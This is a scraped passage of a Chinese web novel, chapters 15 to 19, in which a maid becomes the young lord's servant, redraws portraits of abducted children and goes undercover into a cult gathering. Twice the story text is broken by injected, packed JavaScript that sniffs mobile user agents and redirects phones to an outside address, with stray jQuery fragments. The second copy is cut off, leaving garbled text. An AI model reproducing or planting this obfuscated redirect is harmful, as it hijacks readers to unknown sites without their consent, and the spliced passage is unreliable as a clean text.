她倒豆子似的噼里啪啦说起来,“挑错谁不会啊!动动嘴皮子不费工夫,就能显得自己厉害。贵府大姑娘都说看不出毛病,你要像我们姑娘这样能画出栩栩如生的人物,你说的才算数……” “香梨。”戚幼晴等她快说完了,才轻声训斥。 小婢女的话没说错,但她心里是有几分不舒服,实在不能接受被一个婢女对画作评头论足。 在场只有一人未表态。 陆执方静了片刻:“荆芥,拿纸笔来。” 不远处树影晃动,“是”一声传来,人影已掠开,回来得也很快,待戚幼晴回神,案头另一边就多了一只提梁书箱。送箱子来的护卫只剩个离去的背影。 陆执方示意,蓝雪将里头的文具摆好。 “她说得对不对,画上几笔便知了。” 他清清落落的目光看向了馥梨,挑起笔递过去。 戚幼晴不敢置信。 陆执方此举,看似在维护她的颜面,可那语气在戚幼晴听来,却并非是这样的。她定定盯着,看婢女那双为她数过棋子数的手,接过笔,沾了墨,先是犹豫,尔后越发熟练地勾勒出一个躬身扭头的小童。 正是她画的烫练图里的。 小童身形动作都与图中相似,面孔留白。 馥梨换了提梁箱里最细的笔,寥寥勾勒,画面上出现了一个唇角微勾,眼神俏皮的髫稚女童。 “戚姑娘看看,这样是否会好一些?” 不止是一些,戚幼晴忽而抓住了她的手。 “你能再画一些别的吗?别的小孩面孔。” 馥梨微愣,点头,手腕得到自由后,在纸面轻巧落墨,哭的,笑的,嘟着唇生闷气的,双手抱光秃秃小脑袋的,千奇百怪,活灵活现。 每一张脸,看起来都比上一张脸更大一两岁。 “是我婢女无礼,看轻了姑娘。” 戚幼晴认真看了许久,朝她一福身。 婢女如惊慌小鹿一般跳开半步,没受这个礼。 戚幼晴主仆带着画卷,离开了亭子。 陆执方对着纸面那些传神的孩童脸颊出神片刻,“收拾吧。”很难说清楚是怎么样的感觉。 似乎是后悔,觉得她不应该去嘉月院里。 似乎是自豪,而他非亲非故,凭什么替她自豪。 小姑娘不觉自己做了多特别的一件事,很自然地把东西都收纳进提梁小箱里,双手拎起来跟在身后。 静思阁在前院。 一行人在垂花门分别,陆执方迈步,余光瞟见她像个小尾巴,缀在自己后头。他回头,不远处阿妹和蓝雪亦侧目看来,在疑惑同一个问题。 “太太让我到亭中斟茶递水,待大家散后,”少女一身紫衫白裙,丽质天成,浑然不知讲了一句怎样让他怔忪的话,“我跟世子回静思阁伺候。” 16. 第 16 章 “我跟世子回静思阁伺候。” 馥梨双手提着那只书箱,攥了攥提柄,“大太太说,席灵姐姐再有半个月要放良了,叫我去静思阁接她的差事。至于大姑娘院里,本来就不缺人。” 席灵是谁? 席灵是静思阁的婢女,因家乡遭水难,同亲人在逃离路上失散了成孤女,被老夫人遇见收了进府里。 近日机缘巧合和家人重逢,已经向大太太求了恩典,做完最后这一年就放良了。 陆执方还未想过找人接替,本就是祖母塞来的。 但这不会是母亲把馥梨调去静思阁的本意,正如她不会无缘无故叫馥梨去独幽亭送茶点那样。 陆执方抬起眼,朝同样关注这边的阿妹和蓝雪摆手,示意她们先离去。眼前少女到了清夏堂几日,从头到脚焕然一新,而眼眸里的那份静气没变过。 “知道静思阁在哪儿吗?” “约莫知道的。” “好,”他抬手,顿了顿后解下了腰间玉佩,“拿这个去静思阁找席灵,她自会安排。” 陆执方返回垂花门,身影消失在门后。 那玉佩挂在腰封上,本该是冷的,似在回来路上被陆执方无意识摩挲过,又被拢在斗篷之下,递到她掌心时,犹带了陆执方身上的暖意和衣裳的熏香。 馥梨垂眸看,玉质细润,水色丰盈,一看就是价值不菲的东西,握在掌心舒服,但总觉得会捏坏。 她按着记忆,来到静思阁院外。 人未入内,就见墙头蓬蓬翠云,是冬日依然苍劲的青松。看门小童跟照壁年纪差不多大,生得眉清目秀,性子不如照壁活泼,甚至还有几分腼腆。 “这位姐姐是哪个院的?何事来静思阁?” “我是从前院调过来当差的。” 馥梨冲他展开躺在手心的玉佩,只想把这烫手山芋快快交出去。可她还未说完,小童圆目睁大,噔噔噔跑了,再回来时,身边跟了个着蓝裙套绣花白褂的秀丽女郎,女郎手里还落了几瓣嫩黄色的腊梅花瓣。 正是在堂屋里插梅瓶的席灵。 她疾步赶来,“世子爷有何事交待?”说话间,目光落到馥梨脸上时,亮了亮,好灵秀可爱的小姑娘。 待听见馥梨把大太太和世子两边交待的话都转述一遍,席灵的神色微妙起来。 静思阁里,除了南雁年纪小,得世子纵容,人人夹着尾巴当差。出了错漏,世子爷不罚也不骂,只拿一双眼静静看,好似在嘲弄,拿了这么高的月银,好意思办出这样轻省敷衍的差事? 静思阁除了公中工钱,还有世子爷自掏腰包补贴的伙食、四季新衣、年节封赏。 再有那愚钝得察觉不出主子不满的,悄无声息就被调到了别处,受到满府人恨铁不成钢的目光。 席灵习惯使然,心念飞转。 大太太拨过来接替她差事的婢女,该怎么教,怎么带,席灵很清楚。她初来乍到时,静思阁的老人洛嬷嬷就是这么带她的。 既如此,世子爷为何还要给馥梨玉佩? 世子怕眼前人被怠慢了。 席灵霎时反应过来:“馥梨姑娘请随我来。” “席灵姐姐叫我名字就好,要是觉得不顺口,”馥梨想了想,略带迟疑道:“叫……小梨也行。”去恩孝寺的路上,就有嬷嬷这么唤过她,说更顺嘴。 席灵脚步一顿,回头看她神色认真,不似客套,可她哪能真喊,“我先带你熟悉一圈静思阁各处,这是小厨房,早中晚定时放饭,这是护卫住的地方,他们不会往婢女屋去,你知道这是哪儿避着些就成,对了,水井在东南角……” 席灵做事利索,说话也比寻常人快,身后小姑娘闷声跟着,若不是还有脚步声,她还以为人丢了。 绕完静思阁一圈,大太太那头的丫鬟送来了馥梨的随身物件,裹在一个绛紫色的包袱皮子里。 席灵顺手递去,讶然于它轻飘飘的重量,不禁脱口:“东西怎么这般少?” “我来府里没多久,先前在洗衣房当差。” 席灵心里浮上来几种猜测,没露到面上,世子爷不喜一惊一乍,同样地,身边伺候的人就是再惊涛骇浪,也最好憋着,才不算碍他的眼。 她想了想,“先带你回屋,把行囊安置下。” 馥梨被领到了一间亮堂通透,格局方正的厢房。 里头物件一应俱全,床帘拉下来,隐约可见里头早铺好了软枕被褥。她拆了包袱皮子,把叠好的衣裙往衣柜里放,拉开柜门却愣住,里头空空如也。 “席灵姐姐,这里头,怎么没东西?” 席灵不以为意,“备用褥子拿去晾晒了,你先放着吧,待会儿要是缺了少了什么,我想办法添置。” 按静思阁的规矩,还未到做新春装的时候。 但眼前的小姑娘,显然是例外。 馥梨点头,衣裙塞进去,拢成一个小方块,挤到最靠边的地方,下一层放小衣服的地方,也是如此。 “……”席灵瞧得浑身难受。 她本来东西就少,便是横摆都铺不满,这样左重右轻,规整中透出了一种失衡。可万万不能叫世子瞧见。不对……世子应该也瞧不见吧? “馥梨姑娘为何要这样……这样摆?” 席灵不解,馥梨看她的眼神亦透出困惑,“我一人都占满了,旁人的衣裳放在哪?” 席灵绕过了弯来,“静思阁里,就一个婢女。” 馥梨杏眼睁得大了些。 “可是这床帐……” “这屋原本是我住。我快放良,只每日清晨入府,傍晚出府,床帐是白日歇晌用的。” 席灵怕她嫌弃:“床褥会换。但这屋是除了洛嬷嬷那间,婢女房里最好的,你要是想……” “席灵姐姐,”少女来到静思阁后,第一次打断她的话,眼眸似有碎星,期待的亮光忽闪忽闪,“我真的可以一人住这么大的屋,用这么大的衣柜吗?” 她用手比划起来,“在后罩房,每人只得这么一小格柜子,这么宽的铺位。”就连她在清夏堂跟方嬷嬷学规矩,都要同别的婢女同住一屋。 眼前人竟当真不知,自己能够得到的优待。 席灵对上她认真懵懂的目光,心蓦地软了。 “把她调入静思阁,是我说服你母亲的。” 距离静思阁一南一北的静修室里,茶香幽幽。 祖母总是温柔慈爱的目光,看向了他,“你娘来找我,说想换成崔姨娘陪我静修,我多问一句,才知道是你的主意,陵哥儿,你素日不管这些的。” 陆执方歉然垂眸,避开了长辈洞明雪亮的眼神,“祖母不喜崔姨娘,是孙儿任性。” “活到我这个岁数,没有什么喜不喜的,她来我这磨一磨性子,我正好叫你爹消停些。”祖母笑了,眼尾绽出来数道皱纹,“但这事是因为那小姑娘?” 陆执方在祖母这里坦然承认:“是。” “你娘说你最近反常,总牵挂个小丫鬟。祖母问你,把她调到嘉月那里,你往后怎么办?” “祖母何意?”陆执方蹙眉。 老夫人叹了一声,但愿不是多管闲事。 大房二房两个嫡孙,明明小时候性子差不多,都是上房揭瓦的小霸王,越长大越生出差天共地的脾性来。管亲妹妹要个婢女去做妾做通房的事,仲堪这个浑小子做得出,执方却做不出。 真调到嘉月院里,哪日后悔了没得回头。 “那你知道,你娘那般警惕,又逼你同二房的表姑娘接触,是为何吗?” “母亲怕我未成婚先纳妾,愧对日后妻子。” 陆执方说到这里,已想明白。 祖母要馥梨入静思阁,母亲就叫她去独幽亭为他和戚幼晴斟茶递水,想叫她看清楚自己的位置。 祖母笑了:“那祖母为何如此呢?” “祖母不怕。” 陆执方有几分动容,同时体会出更隐晦的意思。人有自持自制的理智,人亦有难以控制的七情六欲。祖母觉 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席灵整个人愣住,她住西屋时,世子爷连她屋门朝哪边开都不知道,眼下要进去?她缓缓抬头,同他确认,自己没领会错他的意思,又去看馥梨。 陆执方也在看,馥梨神情自若,想来行囊都归置好了,屋内并没有什么不适合看的物什。 席灵带路,推开了那扇门,审视起来。 坦白地说,这屋并没有随新主人的到来,而产生太多改变,馥梨带来的东西少,能摆到台面的更少。 馥梨也在看。 不过她每看一处,都觉得很满意。 陆执方在屋中站定,目光梭巡一圈,示意席灵先离去,留屋门敞开着。他撩袍,施施然坐了下来。 “来时在做何事?” “小厨房在放饭,做了萝卜炖牛肉。” 馥梨答得飞快。 陆执方好笑,谁问后面这个了,他扬了扬眉,“我的笔墨纸砚,怎没在屋内摆?” 馥梨一愣,吃饭热得暖烘烘的脸颊又烫了一些,世子在亭内叫她画画,她就猜到在旧书房画的或许被看见了,因为醒来时,窗台那幅字帖不见了。 那世子也知道,她偷偷把东西拿来自己用了。 “婢子是看,那些东西丢了挺可惜的……” “没问这个,问你怎不摆?” “不太方便。” 先在后罩房,后去清夏堂,随身带都是麻烦。这不是她捡的断笔断墨,是完完整整的好用的东西。要再碰见淑澜苑这样的事情,她百口难辩。 “我给藏起来了。” “藏哪儿了?” 馥梨觑他一眼,世子气慢悠悠掀了掀眼皮,“你老实说,我便不怪你。” “畅和堂书房的窗,我离去时,合上了,但是没插销,在外头推一推就能伸手够着,再取出来。” 陆执方了然,照壁年纪小做事毛躁,锁书房看见窗关了,想当然不会去检查插销,把锁一挂就走了。 “还挺有办法。” 馥梨眨眨眼,没敢接这句夸。 “往后就摆屋里,静思阁无人敢置喙。”他当真没追究,挥挥手让她走。馥梨像模像样地一躬身,布裙旋出轻盈一蓬,忽而顿住,“世子……”这是我的屋。 席灵姐姐说,这屋从今日起属于她的了。 陆执方斜她一眼,“静思阁都是我的,坐不得?” “坐得。”她连忙给他倒了茶水,轻轻退了出去。 陆执方收回视线,看向窗台,底下摆了一张长条案,太窄了,宣纸铺不开;看向鼓凳,雕花不好看,同桌案的高度也不配称;他看来看去,除了格局正,光线好,屋内陈设没有值得细看之处。 半晌,啜了一口茶,皱皱眉,连茶叶都想换。 她在静思阁了,在他的静思阁。 他可以亲眼看她过得更好了。 17. 第 17 章 屋内摆了炭炉,席灵给她换了新枕头被褥。 夜晚钻进去,又香又暖,馥梨睡了酣然踏实的一觉,因睡饱了,起得比在清夏堂还早些。 她按着约定时辰还早一刻到世子寝屋。 陆执方已去上衙。 席灵比她更早,正擦拭一套银兔毫釉茶盏,“来啦?”她努努下巴,“你用那棉布先擦一遍博古架,一边擦,一边听我讲每日差事都包括些什么。” 馥梨找到那棉布,目光绕着上头古朴雅致的物件看,听到席灵道: “每日擦拭,洒扫清洁这个不必说。” “寝屋所有物件,一夜后要归置原样,左右、朝向和距离的摆放都有世子爷惯用的喜好,不能出错。” “屋内瓶插花一日一换水,五日一换花,贮花先择瓶,春冬用铜,秋夏用磁。” …… 席灵事事巨细无遗。 馥梨忘了手上功夫,脸上渐渐浮现迷茫。 席灵嘴皮子都快要说干:“都记住了?” “我待会儿拿纸笔默一遍,要是哪里有错漏,席灵姐姐给我指正。”她欲言又止,“世子爷真是好……” 好讲究、好难伺候对吧? 席灵等待着她出发内心同样的声音。 馥梨:“……好娇贵。” 席灵噗嗤乐了:“还有两条规矩。便是前面我同你说的那些忘了,这两条都得刻脑门上。” 她伸手一指东边侧窗,窄窄一道,镶嵌琉璃的窗格,炫出五彩斑斓的光。“一是此窗常开,无论什么天气什么时刻,风雨天漏水进来就及时清扫雨水。” “好,第二条呢?” “第二条……” 昨日她离府前,特地问过世子,馥梨的差事到底要怎么安排?世子当时口吻淡淡:“静思阁不养闲人,她的差事该怎么当,就怎么当,不必纵容。” 席灵想了想,还是照实说。 “除非世子吩咐,夜里别往寝屋去,沐浴更衣不用你沾手。方才那些杂事,趁世子下衙前就要收拾好。” 馥梨想到后罩房小丫鬟夜谈的传闻,认真应下,“我也不想去庄子种菜挑粪。” 席灵会心一笑。 两人没打扫多久,南雁跑来:“木樨哥叫人抬了一些物件来,说要换到仆役房,劳烦姐姐接应。” “哎,我去看看,你先打扫着。” 席灵一出外院就傻眼了。 哪里止一些,分明是满院,成套成套新打的台凳堆在院里,其中一套黄花梨霸王枨大画桌分外显眼。 她在静思阁,眼光跟着陆执方养刁了,那纹理颜色一看就是好料子,雕工打工更是讲究。 果然,木樨指挥院中杂役把台凳换到仆役房里,朝她招手:“这大桌换到你屋里,屋内先收拾下。” 席灵忙纠正:“什么我屋,现在不是了。” 馥梨还在忙。她去帮忙确认,房间里私人物件都收拾好了,“都搬进来吧。” 木樨带人来,把屋里除床和衣柜都搬空,又鱼贯而入,抬来了新的画桌、香几、玫瑰椅……同院子里满地摊开的家具全然不是一个档次。 席灵一阵沉默,叫她不必纵容,原是自有人纵。 大理寺官署外的青石道上。 浑然不知自己正在被腹诽的陆执方勒马下来,把马交给衙役去牵。旁边蹿出来一人,眼巴巴地瞅他,眼里都是红血丝:“小陆大人,怎么样?我女儿香琴……” “还没寻着。”陆执方顿步片刻,又越过他。 那人一把扯住他袖子:“我听说那群人从云水村逃跑后,辗转到杨柳村行骗了,三日后就有集会,你们快派人去捉啊!一定能捉到的!” 陆执方神色微变:“你从哪儿听说的?” 男人有些心虚:“西、西城角那圈。” “西城脚,还是西城墙根?” “都差不多。” “那你告诉我西城墙根什么最多?”陆执方扯回自己的衣袖,深吸了口气,“乞丐,道听途说的乞丐。岳守信,你的女儿一旦找到了,大理寺会立刻告知。” 岳守信眼里的光黯淡下去,任由陆执方走开。 他从大理寺两排铆钉的大门外第一块砖数到第七块,一屁股盘腿坐下,行云流水地支棱起来个木架,挂起了一封血书,上头几行大字: “燕安县云水村妖教横行以人祭天” “大理寺查案懈怠迟不缉拿” “吾家痛失爱女苦寻无影踪” 那字并非人血,而是鸡血,褪色成红褐色。因为不好落笔,街上摆摊代笔的还多收了他二十文。路人大多数司空见惯,少数头回路过,凑过来看了看。 大理司直程宝川骑着大黑驴,晚半刻钟到,就看大理寺门又围观了几人,果不其然,拨开就见血书,揣在怀里当早点的麻花登时都不香了。 他怕被缠上,忙退开,一进大理寺门,就招了个小吏过来:“门口那人看见没,撵走撵走。” 小吏也认得:“岳守信?撵了无用啊。” “你先撵了,今日刑部的人过来不好看。” 程宝川瞪他,小吏哀叹一声去了。 岳守信是近来京畿道幼童报失案的苦主之一。 起初报案说是女儿跟他老娘外出时走丢了,后来经不过岳守信多番逼问,是他老娘误信了邪教,要把孙女送到观音座下当仙童,好庇护全家福泽。 岳守信跟老母亲大吵一架,在县衙得知这案件转到了大理寺后,隔三差五就要来大理寺闹。 回回撵走,一时半刻又来,抓到狱里,更难缠,逮着送饭路过的狱卒都想套近乎打探案情。 程宝川进了官署,咔咔咔啃他的麻花。 陆执方同他隔了一张桌:“岳守信还在外头?” “下官已叫人去撵了。” “叫我们的人?” “对。” “叫城防兵马司的人来,打声招呼,关到他们狱里安置,干净牢房,饭菜管够,四天后再放人。” 四天啊?程宝川一噎:“这……会不会太狠了?”就算有刑部的人来联查也不必这样啊? 陆执方埋首文卷:“那你雇顶轿子,把他请到东市月笙客栈,好吃好喝供四天,找人看紧了也行。” “司里报账吗?” “程司直的荷包报。” 程司直嚼巴嚼巴麻花咽下,拂袍起身,“下官这就去找城防兵马司!”开玩笑,月笙客栈最次的房也要一两银,他干瘪的荷包如何能报? 陆执方从文卷上抬首。 岳守信的案子不是独立案子,作案的是一伙靠装神弄鬼在乡野敛财、拐卖的江湖骗子,在每个县作案一定次数后就转移,所以踪迹难寻。 最近大理寺查到三日后,杨柳村有教众集会。 同岳守信打听到的一模一样。 西城墙根下乞丐的消息,有时候是比官府更灵通。也正因如此,岳守信必须先到狱里去。 * 残阳西照,屋檐上金光融融。 静思阁小厨房又飘香。馥梨最后检查了一遍世子寝屋,就去领到属于自己的那份。 小锅揭开,是热腾腾的莼菜鲈鱼羹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14085828|148125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一口鲜汤连着软嫩鱼肉吃下去,从喉舌熨帖到了肺腑,好似连指尖都跟着热起来。她吃得认真,耳边尽是嗡嗡说话声,搁下碗后,一抹鼻尖细汗,抬头见洛嬷嬷和席灵都在笑。 馥梨眨眨眼:“是不是我吃得太急了?” 席灵:“再急能有外头那群大老粗急?” 洛嬷嬷笑:“我们夸你吃饭香呢,看得我都想再添小半碗饭。就该叫世子这挑食的来看看。” 这话静思阁里,只洛嬷嬷敢说。 馥梨想不出陆执方挑食的模样,收拾好碗筷,只歇了一会儿,就问厨娘借灶台烧水。 西屋有女子专用的小净室,里头放着澡豆、刷子等浴具,她想洗发,所以得赶早些,睡觉前才能干。 再浑身暖热地从小净室出来,但见银月升空,稀星细闪。 廊下点了灯,灯下有男子身影,似一截薄而韧的修竹。护院不会往这边来,是换了燕居袍的陆执方。 陆执方视线转向她,她左右看看,站到廊柱后。 他停在她一丈外:“躲我作甚?” “婢子还没梳发。”她摸摸自己淌水的发尾,“席灵姐姐说,在静思阁要仪容齐整。”虽然去不成大姑娘院里,就冲静思阁小厨房的手艺,这差事都不能丢了。 陆执方那头静了静。 “是我贸然来,这礼仪不作数。你先出来。” 馥梨探出头去,陆执方示意她取过他掌中一卷物什。她走到他近前,抽出来看,发现是一张张人像,准确地说,只有面容,都是十岁以下孩童,旁边小字批注着特殊体征、岁数、名字等。 陆执方没看她,目光落向了西屋前的柿子树。 “用你那日在独幽亭刻画孩童的笔法,根据不同年岁的五官大小比例,能将这些画改一遍吗?” “能是能……可这些画是?” “画像是京畿周边县被拐卖的孩童。” 凡涉及缉捕的衙门,都有会画人像的官。 小衙门是文画通才的师爷兼任,水平参差。这些画像就是底下各县所交,不少敷衍了事,但求眼耳口鼻齐全,对照画像能在大街上找一堆差不多的孩子。 大衙门如大理寺,有擅写五官体貌的丹青手。 但未见真人,空有口头描述,描绘结果与真实的面貌有所差别。人力所限,亦未能逐一下访去重绘。 今日岳守信来纠缠,叫陆执方想起了馥梨,即便是大理寺的人,画婴童神态这一项都不如她有灵气。 那些江湖骗子是要被连根拔起的。 早先拐卖的孩童已散落各州,等到收网、入狱、审讯各轮走完,又要耗费不少功夫,耽搁一日,找回来的希望就少一分。不如在这碰碰运气。 馥梨数了数,一共八页,“世子何时要?” “你何时改出来,我何时给大理寺的人临摹,临摹数十份后,用邮驿传至各州衙门。” 陆执方无意催促,习惯使然,见不得与公务相关的事情拖拖拉拉。馥梨点头,同他并肩走到自己屋门前,手推开了一道门缝,“那我尽量快些。” “量力而行。” 陆执方此刻才掀眸,看一眼她的模样。 少女一头青丝乌光濯濯,浴后两颊天然薄粉色,胜过万千红妆。门缝慢慢闭合,那双如黑玉浸清泉的眸子快要消失在他的视线里。 陆执方抬手,按在了那门缝上。 “世子爷?” “还能进去看吗?” 他来有正事,亦有私心。 正事想问画。 私心想问,那套画桌,还喜欢吗? 18. 第 18 章 “还能进去看吗?” 将阖未阖的门缝后,她对上陆执方询问的眼神。 馥梨松了手,让出位置,让青年跟着她进屋,同上次一样,陆执方未四处走动,只用目光梭巡。 她今日晌午回屋,才看到多数陈设家具都换了。 最称心如意的要数临窗这张宽大长桌,比她少时在家中用的画桌还好些。馥梨将画像斜放,取来床头灯盏,脱下灯罩,叫光线更充盈漫散。 “再添一盏。” 陆执方指了指圆桌中央的莲盏灯。 她依言搬来莲盏灯,一左一右安放,满室明光照着陆执方蹙起的眉尖,她能看清他眉宇的纤毫纹理。 “还是暗了。” “屋里有蜡烛。” 馥梨从箱笼里翻出一对二指粗的白蜡,就要凑到跃动的火舌前。这白蜡是整个静思阁仆役通用的蜡,点起来有黑烟,是灯油用完时的替代品。 “不点白蜡。”陆执方沉吟片刻,改了主意,“你收拾下,带画像来静思阁。”说罢长腿一迈出了屋。 她不就在静思阁里吗? 馥梨反应片刻,拿棉帕将湿发搓得半干,用簪子松松挽起,没敢多耽搁,抱着画像去了世子寝屋。 “世子爷?” “进。” 她没猜错,屋门推开,亮如白昼的烛光倾泻。 外间紫檀木平头案旁的黄铜灯轮点满,灯轮带升降,正好悬至距离案头一臂高,明亮而不晃眼。 “就坐那儿画。” 陆执方示意她过去。 “馥梨姐姐。”南雁也在屋内,正在世子身前的小几上,一样样摆开暮食,离去时留了半扇门未关。 馥梨落座,案上文具齐备,连笔洗里都盛了水。 她去看陆执方,青年斯斯文文地端碗,银箸挑起一小块豆腐,“看你的画,别看我。” 馥梨便不再管他了。 她从八张画里,先挑画得最潦草敷衍的一张,从最难处一点一点推敲,慢慢修改描摹。一时间,屋内安静,她沉静在画中,自幼接受礼仪规训的青年进食亦无声,只有银箸偶尔碰撞碗碟的细响。 馥梨入了神,一连改画了三张,画笔搁下时,才觉陆执方不知何时走到她身侧,拢袖垂眸看。 “世子看这样可行?” 陆执方颔首,“好很多。” 馥梨抽出其中一张画纸举远了些,歪头看了看。 “你不满意?” “世子爷看过房舍建造吗?” “看过。” “房舍搭起来前,先做什么?” 怎么还倒回来考他? 陆执方抬起眉梢:“先修地坪。” “地不平整,房舍搭得再好也是歪的。”馥梨慢慢解释,“要是这原画与本人并不相似,我也不过是画了一座精巧却歪斜的房屋,怕是无用。” “这些画是尽人事听天命,不必有负担。” 她点点头:“若能有未卜先知的大罗神仙,知道哪些孩童更有可能会走失,我先替他们画个画像,定然比事后凭空补画好许多。” “没有这样的神仙,”陆执方莞尔,“但有这样的机会,可以这么做。” “当真?”馥梨意外,对上陆执方若有所思的眼。 陆执方没有立刻回答。 三日后杨柳村的教众集会,刑部与大理寺的人会乔装潜入,一直追查到人赃并获,确认那伙江湖骗子作案的全过程,揪出最大的幕后黑手才抓捕。 在此过程中,不免有像岳守信老娘一样稀里糊涂的人把自家或别人儿女送去当仙童。这些孩童有可能被转手,甚至在未知定数的追查过程中失去下落。 馥梨等了一会儿,没有等着陆执方的下文。 “世子说的机会,我能帮上忙吗?” “你画这些已是帮忙。” 陆执方否定了心中想法。 按她这么设想,丹青手需要一同潜入教众集会,还需要有极强的记忆力,能够记下被选中者的面貌。大理寺自有领着皇家俸禄的画师要担起责任。像潜入教众集会这种有风险的事,犯不着个小姑娘去试险。 可少女捏了捏画纸,乌眸盈盈,都是期盼,“要是我今夜把这些画都改完了,世子爷能告诉我吗?” 还同他商量上条件了。 “就这么想去?” “想去。” “想去,也轮不上你。” 陆执方斩钉截铁,听她失落地“喔”了一声。 馥梨脑袋又低下去,去改下一张画,一缕半干不干的碎发从她耳后垂落,顺着白玉一样细腻纤长的颈脖,钻入了衣襟。沉静作画的姑娘浑然不觉身侧还有目光,左手一指微挑衣襟,将那缕顽皮的发勾出来。 指头粉白,墨发乌青,让颈窝红痣小小一点,在明亮得过分的灯轮下,似朱砂点玉,灼得晃人眼。 陆执方移开眼去。 又过了许久,分明看见她改完了第五张,杏眼已有倦色,还忍着呵欠去摸新的画纸。 “静思阁白日的差事,不想当了?” “不会耽搁白日差事的,婢子还差三张就改完了。”她又换上了那种卖乖懂事的语气。 陆执方不吃这套:“回去。” “好。”馥梨点头,手轻轻巧巧地换了方向,去拿那叠县衙交上来的原画。她不想量力而行,她想尽力而为,今夜熬一熬,明早就能趁世子上衙前把画画好。 抱臂而立的青年像是有读心术。 “县衙交上来的原画也留下。” 馥梨灰溜溜地空手起身,在他面前站定,一福身。“那婢子告退了?” 寝屋讲究聚气,里间小,外间亦不算宽。 博古架与檀木桌隔开的方寸里,陆执方又嗅到了她身上那股洁净暖热的水汽,到此刻还未消散。 “世子爷?” “头发干了没?” 她下意识摸了摸,又摸了摸,外间书案设在避风处,只能勉勉强强算是干了吧,她还没回答,世子已扭头喊了守在屋门外的南雁。 南雁探头:“世子爷有何吩咐?” “送她回去。”陆执方鞋尖点点角落燃着银丝碳的小铜炉,“这玩意也拎一个到她屋里去。” 第二夜如法炮制,馥梨到寝屋的外间画。 陆执方翌日一早,就把馥梨改好的画像给大理寺的画师老樊和他的徒弟去临摹。 老樊正在根据口供,画一起官员府邸盗窃杀人案的嫌犯画像,画上人眉眼间距低,满脸凶恶戾气。他正画到专心处,头也没抬,“小陆大人搁那儿。” 这人是个臭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆执方声音里有些无奈:“大理寺原安排好要参与去追查邪教拐卖幼儿案的画师,今日在审讯室意外被嫌犯报复,受了伤,无法作画。”他扬了扬那截染血的衣袖,“你愿不愿意替他?” 陆执方讲情况简略说了说,“我们的人会潜入追查一段时间,有的孩子可能会被挑中送走,你的任务就是记住他们的面貌。待集会散后,画下来交给官府。” 馥梨答得极快:“好。” “想清楚了?那些不是普通骗子,里面有穷凶极恶之徒,能够相信邪教的,也多有愚昧偏激者。” 陆执方语气里有一种质询的压迫感。 馥梨心头却软了几分,世子在跟她阐明利害。 “世子这般急着叫我来,是因为我若拒绝,还能去调去其他衙门的画师,对吗?” “是。” “那既然有其他人选,世子为何先问我?” 陆执方一愣。 “因为我擅写婴童,比其他画师都做得好,”半明半暗的马车里,少女语气轻轻,有种自夸时的赧然,但眸光灼灼,甚为清亮动人:“世子爷,我娘常说,人有所长而能尽其用,就是天大的幸事。” “所以我不觉得危险,我觉得幸运。” 19. 第 19 章 距离杨柳村定隰山三里的官道上。 馥梨从马车里跳下来,已作荆钗布裙的乡野姑娘打扮,连面上都抹了更暗沉发黄的脂粉。 陆执方等在外头,静静打量她。 人在绝望时,最易盲信。 能够被犄角旮旯冒出来的奇怪教派煽动的人,多被困于超出自身能力的困境里。 可她即便刻意打扮,面上也没有苦相。 他敛下眸中担心,朝她招招手,“过来。” 馥梨走近陆执方,从他掌中接过一小串白玉菩提手珠,一颗颗雕着祥云纹,听他道:“套手上。” “世子爷,这个有何用处?” 馥梨戴上去,晃了晃腕间。 大理司直程大人给了她一个缝满补丁的小布包,里头是应急的防身工具,而世子给的手珠,她横竖看都只是串漂亮的手珠。 “显得比较神神叨叨。” “我戴佛教的东西,去到会不会不好?” “里头既有观音像,又有自称玉清元始天尊座下大弟子的,可谓集道佛之大成。”陆执方一哂,“比起关心这个,你先重复一遍,今晨我说的话。” “我是杨柳村孙秀娘家的远房亲戚,名叫小莲,拜入神月教是为了求美满姻缘,要……要钓一个金龟婿。”馥梨对着陆执方的脸,后半句尾音低了下去。 脸皮这么薄,可调不了钓金龟婿。 陆执方扫了一眼她耳根,这里忘了涂粉,莹白里泛点红,他抬手将她头巾扯了扯,拨出碎发遮住。 “进去后,别人做什么你做什么,别强出头,别惹人注意,记住被选中的小孩面貌,散了后就跟村民来我这里。荆芥也会乔装,保护你安全。” 程宝川在身后提醒:“大人,时辰快到了。” 陆执方深眸看她:“去吧。” 他走访了京畿道附近好几个县,上峰陈蓬莱怕他面容暴露,这次潜入追查,陆执方并不直接参与。 馥梨同陆执方告别,跟杨柳村接应的人走。走时耳朵还麻麻痒痒,世子指腹好像无意间刮了她一下。 定隰山的路不好走。 弯弯绕绕,曲径通幽,来到一座半新不旧的庙宇前,知客僧身穿佛袍,却盘了个道士发髻,见孙秀娘和身后几人,面色警惕起来。 “红尘炼狱,苦楚不渡。” “真神降世,解厄众生。” 孙秀娘一连对了好几句口号,知客僧的猜疑仍未消,“怎带这么多人来?天师不喜无缘的信众。” “都是有缘的有缘,都想求天师指点迷津。” 孙秀娘叹气,从袖里掏出两串钱,塞到他手里,“这个是我娘家外甥,可怜他爹大病瘫了半年,全家生计就落他肩上,想求天师开一副仙丹。还有这个是他妹子,亲事总不顺遂,想求姻缘符……” 孙秀娘碎碎念起来,知客僧没耐心听,掂了掂那两串钱,摆摆手,将他们让进门内。 乌漆半褪的木门后,热闹得叫馥梨震撼。 庙前到门口的空地挤满了形形色色的人,男女老少都有,大多数是村民打扮,也有少数衣裳鲜亮的,此刻不分你我地挤在一鼎阔肚三足炼丹炉前。 “哇,两个铜板放进去,两个金元宝出来!” “他是有缘人!” “我怎么就没有仙缘呢。” “快!快!到我了……让我去!” 